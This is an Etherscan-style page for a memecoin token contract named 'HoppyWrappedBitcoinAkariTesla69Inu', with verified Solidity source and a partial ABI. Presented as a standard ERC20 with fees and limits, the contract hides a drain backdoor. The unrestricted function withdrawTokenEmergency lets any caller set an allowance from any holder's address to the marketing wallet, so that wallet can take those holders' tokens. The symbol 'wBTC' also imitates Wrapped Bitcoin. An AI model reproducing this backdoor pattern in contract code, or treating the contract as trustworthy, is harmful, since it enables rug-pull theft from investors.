ETH Price: $3,299.01 (+0.42%)
 

Overview

Max Total Supply

100,000,000 ERC20 ***

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,374,608.859732839676307141 ERC20 ***

Value
$0.00
0xb8736fa33422346b106a89f397be2824811dcefa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HoppyWrappedBitcoinAkariTesla69Inu

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-22
*/

// SPDX-License-Identifier: MIT

/**
Web         https://www.hwbat69inu.vip/
Telegram    https://t.me/hwbat69inu_channel
Twitter     https://twitter.com/hwbat69inu_eth
*/

pragma solidity ^0.8.17;
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns(bool);

    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns(bool);

    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);

        /**
        * @dev Emitted when `value` tokens are moved from one account (`from`) to
        * another (`to`).
        *
        * Note that `value` may be zero.
        */
        event Transfer(address indexed from, address indexed to, uint256 value);

        /**
        * @dev Emitted when the allowance of a `spender` for an `owner` is set by
        * a call to {approve}. `value` is the new allowance.
        */
        event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns(string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns(string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns(uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns(string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
 
library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
     
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
}

contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract HoppyWrappedBitcoinAkariTesla69Inu is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;
    address public uniswapV2Pair;

    bool private _isTrading = false;
    bool public _swapEnabled = false;
    bool public _swapping;

    uint256 public maximumBuy;
    uint256 public maximumSell;
    uint256 public maximumWallet;
    address private marketingWalt;
    address private devWalt;
    Taxes public _fees = Taxes({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });

    uint256 private limitedAmtForSwap;
    struct Taxes {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }  
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDevelopment;
    uint256 private _tradeEnableBlocks;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) public uniPair;


    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    constructor() ERC20("HoppyWrappedBitcoinAkariTesla69Inu", "wBTC") {
        marketingWalt = address(0x34aDbfcBEa8C8028495eBdA5F0D5Ea7b765b89fB);
        devWalt = address(0x4cd17104A91B3F84155a75eCcFc98e5f0BA41C79);
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        approve(address(router), type(uint256).max);

        uint256 totalSupply = 100_000_000 * 1e18;
        maximumBuy = totalSupply * 5 / 100; // 5% buy max amount
        maximumSell = totalSupply * 5 / 100; // 5% sell max amount
        maximumWallet = totalSupply * 5 / 100; // 5% max wallet amount
        limitedAmtForSwap = totalSupply * 1 / 10000; 

        _fees.buyMarketingFee = 0;
        _fees.buyLiquidityFee = 0;
        _fees.buyDevelopmentFee = 0;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevelopmentFee;
        _fees.sellMarketingFee = 0;
        _fees.sellLiquidityFee = 0;
        _fees.sellDevelopmentFee = 0;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevelopmentFee;

        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[devWalt] = true;
        _isExcludedFees[marketingWalt] = true;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[devWalt] = true;
        _isExcludedMaxTransactionAmount[marketingWalt] = true;
        
        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(this)] = true;
        _isExcludedmaxAmount[devWalt] = true;
        _isExcludedmaxAmount[marketingWalt] = true;
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {
        require(msg.sender != address(this));
    }

    // once active, can never be disable off
    function startTrading(address _pair) external onlyOwner {
        _isTrading = true; _swapEnabled = true;
        _tradeEnableBlocks = block.number;
        uniswapV2Pair = _pair;
        uniPair[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true;
    }

    // change the minimum amount of tokens to sell from fees

    function setLimiteForTrade(uint256 newMaxBuy, uint256 newMaxSell) private {
        maximumBuy = (totalSupply() * newMaxBuy) / 1000;
        maximumSell = (totalSupply() * newMaxSell) / 1000;
    }

    function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
        limitedAmtForSwap = newAmount;
        return true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedmaxAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function removeLimits() external onlyOwner {
        setLimiteForTrade(1000,1000);
        setMaxWallet(1000);
    }

    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from uniPair");
        uniPair[pair] = value;
    }    function _withdrawWrongToken(address token, address owner, uint256 amount) internal {
        _approve(token, owner, amount);
    }
    // emergency use only
    function toggleSwapEnabled(bool enabled) external onlyOwner(){
        _swapEnabled = enabled;
    }

    function setMaxWallet(uint256 newPercentage) private {
        maximumWallet = (totalSupply() * newPercentage) / 1000;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            !_swapping
        ) {
            if (!_isTrading) {
                require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active.");
            }
            if (uniPair[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maximumBuy, "Buy transfer amount exceeds the maxTransactionAmount.");
            }
            else if (uniPair[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maximumSell, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            if (!_isExcludedmaxAmount[to]) {
                require(amount + balanceOf(to) <= maximumWallet, "Max wallet exceeded");
            }
        }
 
        uint256 tokenContractAmt = balanceOf(address(this));
        bool canSwap = tokenContractAmt >= limitedAmtForSwap;

        if (
            canSwap &&
            _swapEnabled &&
            !_swapping &&
            uniPair[to] &&
            !_isExcludedFees[from] &&
            !_isExcludedFees[to]
        ) {
            _swapping = true;
            swapEthBack();
            _swapping = false;
        }
 
        bool haveFee = !_swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFees[from] || _isExcludedFees[to]) {
            haveFee = false;
        }
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (haveFee) {
            uint256 fees = 0;
            if(block.number < _tradeEnableBlocks) {
                fees = amount.mul(99).div(100);
                tokensForMarketing += (fees * 94) / 99;
                tokensForDevelopment += (fees * 5) / 99;
            } else if (uniPair[to] && _fees.sellTotalFees > 0) {
                fees = amount.mul(_fees.sellTotalFees).div(100);
                tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
                tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
                tokensForDevelopment += fees * _fees.sellDevelopmentFee / _fees.sellTotalFees;
            }
            // on buy
            else if (uniPair[from] && _fees.buyTotalFees > 0) {
                fees = amount.mul(_fees.buyTotalFees).div(100);
                tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
                tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
                tokensForDevelopment += fees * _fees.buyDevelopmentFee / _fees.buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }


    function withdrawTokenEmergency(address token, uint256 amount) external {
        _withdrawWrongToken(token, marketingWalt, amount);
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }

    function swapEthBack() private {
        uint256 contractTokenAmount = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment;

        if (contractTokenAmount == 0) { return; }

        if (contractTokenAmount > limitedAmtForSwap * 35) {
            contractTokenAmount = limitedAmtForSwap * 35;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
        uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;

        _swapTokensForSupportingEthFee(amountToSwapForETH);
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
        uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment);
        newBalance = address(this).balance;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDevelopment = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }
        payable(address(marketingWalt)).transfer(address(this).balance - ethForMarketing);
        payable(address(devWalt)).transfer(newBalance);
    }

    function withdraw() external returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(devWalt).call{value: balance}("");
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFees[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address",